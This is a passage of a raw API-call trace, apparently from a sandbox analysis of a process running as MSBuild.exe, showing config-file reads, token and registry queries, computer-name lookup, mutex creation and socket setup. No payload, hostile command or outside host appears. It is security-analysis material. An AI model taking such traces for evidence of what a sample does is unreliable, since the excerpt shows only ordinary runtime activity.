ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0130.245] GetLastError () returned 0x0 [0130.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1de5cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0130.246] GetLastError () returned 0x0 [0130.246] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1deab0 | out: lpFileInformation=0x1deab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0130.246] GetLastError () returned 0x0 [0130.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1de518, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0130.246] GetLastError () returned 0x0 [0130.246] SetErrorMode (uMode=0x1) returned 0x0 [0130.248] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x338 [0130.248] GetLastError () returned 0x0 [0130.249] GetFileType (hFile=0x338) returned 0x1 [0130.249] GetFileType (hFile=0x338) returned 0x1 [0130.257] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dea3c, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1dea3c*=0x1000, lpOverlapped=0x0) returned 1 [0130.257] GetLastError () returned 0x0 [0130.266] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de6f4, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de6f4*=0x1000, lpOverlapped=0x0) returned 1 [0130.266] GetLastError () returned 0x0 [0130.267] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de6f4, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de6f4*=0x1000, lpOverlapped=0x0) returned 1 [0130.267] GetLastError () returned 0x0 [0130.267] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de6f4, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de6f4*=0x1000, lpOverlapped=0x0) returned 1 [0130.267] GetLastError () returned 0x0 [0130.267] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de6f4, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de6f4*=0x1000, lpOverlapped=0x0) returned 1 [0130.267] GetLastError () returned 0x0 [0130.269] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de828, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de828*=0x1000, lpOverlapped=0x0) returned 1 [0130.269] GetLastError () returned 0x0 [0130.270] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de6bc, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de6bc*=0xed, lpOverlapped=0x0) returned 1 [0130.270] GetLastError () returned 0x0 [0130.270] ReadFile (in: hFile=0x338, lpBuffer=0x26f82e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de774, lpOverlapped=0x0 | out: lpBuffer=0x26f82e4*, lpNumberOfBytesRead=0x1de774*=0x0, lpOverlapped=0x0) returned 1 [0130.270] GetLastError () returned 0x0 [0130.270] CloseHandle (hObject=0x338) returned 1 [0130.270] GetLastError () returned 0x0 [0130.271] GetCurrentProcess () returned 0xffffffff [0130.271] GetLastError () returned 0x3f0 [0130.271] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ded04 | out: TokenHandle=0x1ded04*=0x338) returned 1 [0130.271] GetLastError () returned 0x3f0 [0130.271] GetCurrentProcess () returned 0xffffffff [0130.271] GetLastError () returned 0x3f0 [0130.272] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ded04 | out: TokenHandle=0x1ded04*=0x334) returned 1 [0130.272] GetLastError () returned 0x3f0 [0130.272] GetCurrentProcess () returned 0xffffffff [0130.272] GetLastError () returned 0x3f0 [0130.272] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea74 | out: TokenHandle=0x1dea74*=0x33c) returned 1 [0130.272] GetLastError () returned 0x3f0 [0130.272] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1deab4 | out: lpFileInformation=0x1deab4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb60eb98, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb60eb98, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa46808fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22f)) returned 1 [0130.272] GetLastError () returned 0x3f0 [0130.272] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x1de5cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0130.273] GetLastError () returned 0x3f0 [0130.273] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1deab0 | out: lpFileInformation=0x1deab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb60eb98, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb60eb98, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa46808fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22f)) returned 1 [0130.273] GetLastError () returned 0x3f0 [0130.273] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x1de518, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0130.273] GetLastError () returned 0x3f0 [0130.273] SetErrorMode (uMode=0x1) returned 0x0 [0130.273] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0130.273] GetLastError () returned 0x0 [0130.273] GetFileType (hFile=0x340) returned 0x1 [0130.273] GetFileType (hFile=0x340) returned 0x1 [0130.273] ReadFile (in: hFile=0x340, lpBuffer=0x270ec74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dea3c, lpOverlapped=0x0 | out: lpBuffer=0x270ec74*, lpNumberOfBytesRead=0x1dea3c*=0x22f, lpOverlapped=0x0) returned 1 [0130.274] GetLastError () returned 0x0 [0130.276] ReadFile (in: hFile=0x340, lpBuffer=0x270ec74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1de8e0, lpOverlapped=0x0 | out: lpBuffer=0x270ec74*, lpNumberOfBytesRead=0x1de8e0*=0x0, lpOverlapped=0x0) returned 1 [0130.276] GetLastError () returned 0x0 [0130.276] CloseHandle (hObject=0x340) returned 1 [0130.276] GetLastError () returned 0x0 [0130.276] GetCurrentProcess () returned 0xffffffff [0130.276] GetLastError () returned 0x3f0 [0130.276] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ded04 | out: TokenHandle=0x1ded04*=0x340) returned 1 [0130.276] GetLastError () returned 0x3f0 [0130.276] GetCurrentProcess () returned 0xffffffff [0130.276] GetLastError () returned 0x3f0 [0130.276] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ded04 | out: TokenHandle=0x1ded04*=0x344) returned 1 [0130.277] GetLastError () returned 0x3f0 [0130.291] GetCurrentProcess () returned 0xffffffff [0130.291] GetLastError () returned 0x3f0 [0130.291] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1deae0 | out: TokenHandle=0x1deae0*=0x348) returned 1 [0130.291] GetLastError () returned 0x3f0 [0130.303] GetCurrentProcess () returned 0xffffffff [0130.303] GetLastError () returned 0x3f0 [0130.303] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1deaf0 | out: TokenHandle=0x1deaf0*=0x34c) returned 1 [0130.303] GetLastError () returned 0x3f0 [0130.312] GetCurrentProcess () returned 0xffffffff [0130.312] GetLastError () returned 0x3f0 [0130.312] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1deb44 | out: TokenHandle=0x1deb44*=0x350) returned 1 [0130.312] GetLastError () returned 0x3f0 [0130.314] GetCurrentProcess () returned 0xffffffff [0130.314] GetLastError () returned 0x3f0 [0130.314] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1deb54 | out: TokenHandle=0x1deb54*=0x354) returned 1 [0130.314] GetLastError () returned 0x3f0 [0130.320] GetCurrentProcess () returned 0xffffffff [0130.320] GetLastError () returned 0x3f0 [0130.320] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1deb18 | out: TokenHandle=0x1deb18*=0x358) returned 1 [0130.320] GetLastError () returned 0x3f0 [0130.321] GetCurrentProcess () returned 0xffffffff [0130.321] GetLastError () returned 0x3f0 [0130.321] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1deb28 | out: TokenHandle=0x1deb28*=0x35c) returned 1 [0130.321] GetLastError () returned 0x3f0 [0130.324] GetCurrentProcess () returned 0xffffffff [0130.324] GetLastError () returned 0x3f0 [0130.324] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dee1c | out: TokenHandle=0x1dee1c*=0x360) returned 1 [0130.324] GetLastError () returned 0x3f0 [0130.334] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dde7c | out: phkResult=0x1dde7c*=0x364) returned 0x0 [0130.335] RegQueryValueExW (in: hKey=0x364, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1ddec4, lpData=0x0, lpcbData=0x1ddec0*=0x0 | out: lpType=0x1ddec4*=0x1, lpData=0x0, lpcbData=0x1ddec0*=0xe) returned 0x0 [0130.336] RegQueryValueExW (in: hKey=0x364, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1ddec4, lpData=0x887768, lpcbData=0x1ddec0*=0xe | out: lpType=0x1ddec4*=0x1, lpData="Client", lpcbData=0x1ddec0*=0xe) returned 0x0 [0130.336] RegCloseKey (hKey=0x364) returned 0x0 [0130.359] RasEnumConnectionsW (in: param_1=0x8edcd8, param_2=0x1dee94, param_3=0x1dee98 | out: param_1=0x8edcd8, param_2=0x1dee94, param_3=0x1dee98) returned 0x0 [0130.378] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x887768 | out: lpWSAData=0x887768) returned 0 [0130.384] GetLastError () returned 0x0 [0130.388] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3a4 [0130.415] GetLastError () returned 0x0 [0130.415] setsockopt (s=0x3a4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0130.415] GetLastError () returned 0x273a [0130.415] closesocket (s=0x3a4) returned 0 [0130.415] GetLastError () returned 0x0 [0130.415] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3a4 [0130.421] GetLastError () returned 0x0 [0130.421] setsockopt (s=0x3a4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0130.421] GetLastError () returned 0x273a [0130.421] closesocket (s=0x3a4) returned 0 [0130.421] GetLastError () returned 0x0 [0130.424] GetCurrentProcess () returned 0xffffffff [0130.424] GetLastError () returned 0x3f0 [0130.424] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea00 | out: TokenHandle=0x1dea00*=0x3a4) returned 1 [0130.424] GetLastError () returned 0x3f0 [0130.425] GetCurrentProcess () returned 0xffffffff [0130.425] GetLastError () returned 0x3f0 [0130.425] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea10 | out: TokenHandle=0x1dea10*=0x3a8) returned 1 [0130.425] GetLastError () returned 0x3f0 [0130.434] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x1de80c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0130.434] GetLastError () returned 0x3f0 [0130.435] GetCurrentProcessId () returned 0x718 [0130.438] GetComputerNameW (in: lpBuffer=0x887768, nSize=0x271ce20 | out: lpBuffer="XDUWTFONO", nSize=0x271ce20) returned 1 [0130.439] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dec64 | out: phkResult=0x1dec64*=0x3ac) returned 0x0 [0130.439] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Library", lpReserved=0x0, lpType=0x1decac, lpData=0x0, lpcbData=0x1deca8*=0x0 | out: lpType=0x1decac*=0x1, lpData=0x0, lpcbData=0x1deca8*=0x1c) returned 0x0 [0130.439] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Library", lpReserved=0x0, lpType=0x1decac, lpData=0x887768, lpcbData=0x1deca8*=0x1c | out: lpType=0x1decac*=0x1, lpData="netfxperf.dll", lpcbData=0x1deca8*=0x1c) returned 0x0 [0130.439] RegQueryValueExW (in: hKey=0x3ac, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1decac, lpData=0x0, lpcbData=0x1deca8*=0x0 | out: lpType=0x1decac*=0x4, lpData=0x0, lpcbData=0x1deca8*=0x4) returned 0x0 [0130.440] RegQueryValueExW (in: hKey=0x3ac, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1decac, lpData=0x1dec98, lpcbData=0x1deca8*=0x4 | out: lpType=0x1decac*=0x4, lpData=0x1dec98*=0x1, lpcbData=0x1deca8*=0x4) returned 0x0 [0130.441] RegQueryValueExW (in: hKey=0x3ac, lpValueName="First Counter", lpReserved=0x0, lpType=0x1decac, lpData=0x0, lpcbData=0x1deca8*=0x0 | out: lpType=0x1decac*=0x4, lpData=0x0, lpcbData=0x1deca8*=0x4) returned 0x0 [0130.441] RegQueryValueExW (in: hKey=0x3ac, lpValueName="First Counter", lpReserved=0x0, lpType=0x1decac, lpData=0x1dec98, lpcbData=0x1deca8*=0x4 | out: lpType=0x1decac*=0x4, lpData=0x1dec98*=0x137a, lpcbData=0x1deca8*=0x4) returned 0x0 [0130.441] RegCloseKey (hKey=0x3ac) returned 0x0 [0130.441] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dec60 | out: phkResult=0x1dec60*=0x3ac) returned 0x0 [0130.442] RegQueryValueExW (in: hKey=0x3ac, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1deca8, lpData=0x0, lpcbData=0x1deca4*=0x0 | out: lpType=0x1deca8*=0x4, lpData=0x0, lpcbData=0x1deca4*=0x4) returned 0x0 [0130.442] RegQueryValueExW (in: hKey=0x3ac, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1deca8, lpData=0x1dec94, lpcbData=0x1deca4*=0x4 | out: lpType=0x1deca8*=0x4, lpData=0x1dec94*=0x3, lpcbData=0x1deca4*=0x4) returned 0x0 [0130.442] RegQueryValueExW (in: hKey=0x3ac, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1deca8, lpData=0x0, lpcbData=0x1deca4*=0x0 | out: lpType=0x1deca8*=0x4, lpData=0x0, lpcbData=0x1deca4*=0x4) returned 0x0 [0130.442] RegQueryValueExW (in: hKey=0x3ac, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1deca8, lpData=0x1dec94, lpcbData=0x1deca4*=0x4 | out: lpType=0x1deca8*=0x4, lpData=0x1dec94*=0x20000, lpcbData=0x1deca4*=0x4) returned 0x0 [0130.442] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1deca8, lpData=0x0, lpcbData=0x1deca4*=0x0 | out: lpType=0x1deca8*=0x3, lpData=0x0, lpcbData=0x1deca4*=0xaa) returned 0x0 [0130.442] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1deca8, lpData=0x271f568, lpcbData=0x1deca4*=0xaa | out: lpType=0x1deca8*=0x3, lpData=0x271f568*, lpcbData=0x1deca4*=0xaa) returned 0x0 [0130.446] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0130.447] GetLastError () returned 0x0 [0130.452] VirtualQuery (in: lpAddress=0x820000, lpBuffer=0x1dec78, dwLength=0x1c | out: lpBuffer=0x1dec78*(BaseAddress=0x820000, AllocationBase=0x820000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0130.452] GetLastError () returned 0x0 [0130.452] LocalFree (hMem=0x8be878) returned 0x0 [0130.452] RegCloseKey (hKey=0x3ac) returned 0x0 [0130.455] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2720010, cbSid=0x1dec58 | out: pSid=0x2720010*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec58) returned 1 [0130.455] GetLastError () returned 0x0 [0130.457] CreateMutexW (lpMutexAttributes=0x2720160, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.457] GetLastError () returned 0x0 [0130.458] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2720334, cbSid=0x1dec18 | out: pSid=0x2720334*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec18) returned 1 [0130.458] GetLastError () returned 0x0 [0130.458] CreateMutexW (lpMutexAttributes=0x2720444, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0130.458] GetLastError () returned 0x5 [0130.460] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x3b4 [0130.460] GetLastError () returned 0x5 [0130.460] CloseHandle (hObject=0x3b4) returned 1 [0130.460] GetLastError () returned 0x5 [0130.460] GetCurrentProcessId () returned 0x718 [0130.462] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x718) returned 0x3b4 [0130.462] GetLastError () returned 0x5 [0130.464] GetProcessTimes (in: hProcess=0x3b4, lpCreationTime=0x1dec1c, lpExitTime=0x1dec14, lpKernelTime=0x1dec14, lpUserTime=0x1dec14 | out: lpCreationTime=0x1dec1c, lpExitTime=0x1dec14, lpKernelTime=0x1dec14, lpUserTime=0x1dec14) returned 1 [0130.464] GetLastError () returned 0x5 [0130.464] CloseHandle (hObject=0x3b4) returned 1 [0130.464] GetLastError () returned 0x5 [0130.464] CloseHandle (hObject=0x3ac) returned 1 [0130.464] GetLastError () returned 0x5 [0130.464] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2720d54, cbSid=0x1dec58 | out: pSid=0x2720d54*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec58) returned 1 [0130.464] GetLastError () returned 0x5 [0130.464] CreateMutexW (lpMutexAttributes=0x2720e64, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.464] GetLastError () returned 0x0 [0130.467] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2721738, cbSid=0x1dec58 | out: pSid=0x2721738*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec58) returned 1 [0130.467] GetLastError () returned 0x0 [0130.467] CreateMutexW (lpMutexAttributes=0x2721848, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.467] GetLastError () returned 0x0 [0130.468] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2721fd4, cbSid=0x1dec58 | out: pSid=0x2721fd4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec58) returned 1 [0130.468] GetLastError () returned 0x0 [0130.468] CreateMutexW (lpMutexAttributes=0x27220e4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.468] GetLastError () returned 0x0 [0130.468] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2722868, cbSid=0x1dec58 | out: pSid=0x2722868*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec58) returned 1 [0130.468] GetLastError () returned 0x0 [0130.468] CreateMutexW (lpMutexAttributes=0x2722978, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.468] GetLastError () returned 0x0 [0130.468] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x27230f4, cbSid=0x1dec50 | out: pSid=0x27230f4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec50) returned 1 [0130.468] GetLastError () returned 0x0 [0130.468] CreateMutexW (lpMutexAttributes=0x2723204, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.468] GetLastError () returned 0x0 [0130.468] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x272398c, cbSid=0x1dec50 | out: pSid=0x272398c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec50) returned 1 [0130.469] GetLastError () returned 0x0 [0130.469] CreateMutexW (lpMutexAttributes=0x2723a9c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.469] GetLastError () returned 0x0 [0130.469] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2724200, cbSid=0x1dec50 | out: pSid=0x2724200*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec50) returned 1 [0130.469] GetLastError () returned 0x0 [0130.469] CreateMutexW (lpMutexAttributes=0x2724310, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.469] GetLastError () returned 0x0 [0130.469] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2724a84, cbSid=0x1dec50 | out: pSid=0x2724a84*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec50) returned 1 [0130.469] GetLastError () returned 0x0 [0130.469] CreateMutexW (lpMutexAttributes=0x2724b94, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.469] GetLastError () returned 0x0 [0130.469] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2725300, cbSid=0x1dec50 | out: pSid=0x2725300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1dec50) returned 1 [0130.469] GetLastError () returned 0x0 [0130.469] CreateMutexW (lpMutexAttributes=0x2725410, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0130.469] GetLastError () returned 0x0 [0130.476] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3ac [0130.477] GetLastError () returned 0x0 [0130.477] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b4 [0130.477] GetLastError () returned 0x0 [0130.478] ioctlsocket (in: s=0x3ac, cmd=-2147195266, argp=0x1dee9c | out: argp=0x1dee9c) returned 0 [0130.478] GetLastError () returned 0x0 [0130.479] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3b8 [0130.479] GetLastError () returned 0x0 [0130.479] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0130.479] GetLastError () returned 0x0 [0130.479] ioctlsocket (in: s=0x3b8, cmd=-2147195266, argp=0x1dee9c | out: argp=0x1dee9c) returned 0 [0130.479] GetLastError () returned 0x0 [0130.480] WSAIoctl (in: s=0x3ac, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1dee80, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1dee80, lpOverlapped=0x0) returned -1 [0130.480] GetLastError () returned 0x2733 [0130.482] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x887768, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0130.482] GetLastError () returned 0x2733 [0130.484] WSAEventSelect (s=0x3ac, hEventObject=0x3b4, lNetworkEvents=512) returned 0 [0130.484] GetLastError () returned 0x0 [0130.484] WSAIoctl (in: s=0x3b8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1dee80, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1dee80, lpOverlapped=0x0) returned -1 [0130.484] GetLastError () returned 0x2733 [0130.484] 